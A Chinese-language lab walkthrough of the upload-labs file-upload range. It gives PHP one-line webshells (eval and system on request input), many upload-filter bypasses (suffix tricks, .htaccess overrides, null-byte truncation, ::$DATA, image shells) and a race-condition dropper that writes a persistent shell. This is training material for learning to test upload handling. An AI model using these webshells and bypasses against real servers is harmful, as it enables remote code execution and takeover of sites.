目录
upload-labs靶场搭建
upload-labs题目
php基础木马
<?php
eval($_REQUEST[a]);
?>
<?php
system($_REQUEST[a]);
?>
黑名单绕过(规定有些类型不通过)
Pass-01
上传jpg文件,抓包后修改后缀为php
复制路径
在浏览器地址后粘贴刚刚复制的内容输入?a=phpinfo();
Pass-02
上传php文件
修改Content-Type为image/jpeg
复制路径
在浏览器地址后粘贴刚刚复制的内容输入?a=phpinfo();
Pass-03
修改后缀为.php1 .php2 .php3 .php4 .phtml
条件利用苛刻需要开启SSI
apache配置文件httpd.conf中有如下配置
AddType application/x-httpd-php .php .phtml
CtfHub-htaccess
htaccess文件有用的条件1、php5.6以下不带nts的版本 无该版本-无法复现
2、黑名单中未过滤 .htaccess
3、apache配置文件httpd.conf中启用了AllowOverride All
AllowOverride None
改为
AllowOverride ALL
4、服务端未处理文件名(否则上传到htaccess到目录下成为其它文件名则不奏效)
内容:
AddType application/x-httpd-php .jpg
后门:
<FilesMatch "conf">
SetHandler application/x-httpd-php
</FilesMatch>
上传jpg文件
上传文件
进行抓包,修改后缀,修改内容
内容修改为:AddType application/x-httpd-php .jpg
查看文件上传成功
输入地址,复制
将复制的地址粘贴到蚁剑
在html目录上找到flag
Pass-05
. .逻辑绕过后缀为.php. .
上传php文件,修改后缀,在后面加上. .
Pass-06
后缀大小写绕过
上传php文件,修改后缀,改变大小写
Pass-07
首尾未去空
123.php 最后加个空格
Pass-08
尾部未删除点.php. 即可
Pass-09
windows文件流,没有删除::$DATA在使用NTFS格式的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名
例如:"phpinfo.php::$DATA"Windows会自动去掉末尾的::$DATA变成"phpinfo.php"
.php::$DATA
Pass-10
同5题.php. .
Pass-11
删除匹配的后缀,双写绕过7.PphpHP
Pass-20
move_uploaded_file()特性,忽略文件末尾的/.
123123.php/. 即可绕过
上传jpg文件 ,抓包后修改save_name的后缀
![](https://img-blog.csdnimg.cn/094e06305058488d8f1b6e08bc929b19.png)
白名单绕过(只允许规定的类型通过)
Pass-12
php5.5.9ntsGET型00截断
save_path=../upload/141.php%00.jpg
post里面放1.jpg
在get处输入 123.php%00.jpg
可以查看到添加成功
在后台查询到123.php的文件
Pass-13
php5.5.9ntsPOST型00截断
save_path=../upload/141.phpa.jpg a改成00
filename仍是.jpg
在该处输入123.phpa.jpg,注意该处输入为a,方便寻找
发送到Repeater,在Hex处寻找61, 将刚刚a处的61,改为00,回车
可以查看到添加成功
在后台查询到1232.php的文件
Pass-14
图片马制作,需另外配合文件包含漏洞
copy 1.jpg/b + 123.php/a hack1.jpg
Pass-15
getimagesize函数绕过,同14
Pass-16
需要php开启exif_imagetype()函数
同14
Pass-17
二次渲染,检查上传前后图片的内容并更改
环境有问题、可忽略不做
同14
Pass-21
CTF题目,考点是explode分割数组
Content-Disposition: form-data; name="upload_file"; filename="a.jpg"
Content-Type: image/jpeg
<?php eval($_REQUEST[a]);?>
------WebKitFormBoundaryqyfBEj3alReo3OMK
Content-Disposition: form-data; name="save_name[0]"
upload-20.php
------WebKitFormBoundaryqyfBEj3alReo3OMK
Content-Disposition: form-data; name="save_name[2]"
jpg
------WebKitFormBoundaryqyfBEj3alReo3OMK
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryqyfBEj3alReo3OMK--
条件竞争
Pass-18
条件竞争,服务器会将上传的php文件删除。同时进行上传爆破,和访问爆破即可。
<?php fputs(fopen("a.php", "w"), '<?php eval($_REQUEST[1]);?>'); ?>
上传php文件
进行抓包,传到intruder,进行爆破
将里面内容更改, 对随意的位置进行爆破
设置线程数
对upload/4.php进行抓包
抓到的包发送去爆破
对随意的位置进行爆破
设置参数
设置线程数
最后查到后台拆创建了一个新文件为刚刚命令创建的文件a.php
Pass-19
条件竞争,通过上传图片马配合其他漏洞来做
<?php fputs(fopen("a.php", "w"), '<?php eval($_REQUEST[1]);?>'); ?>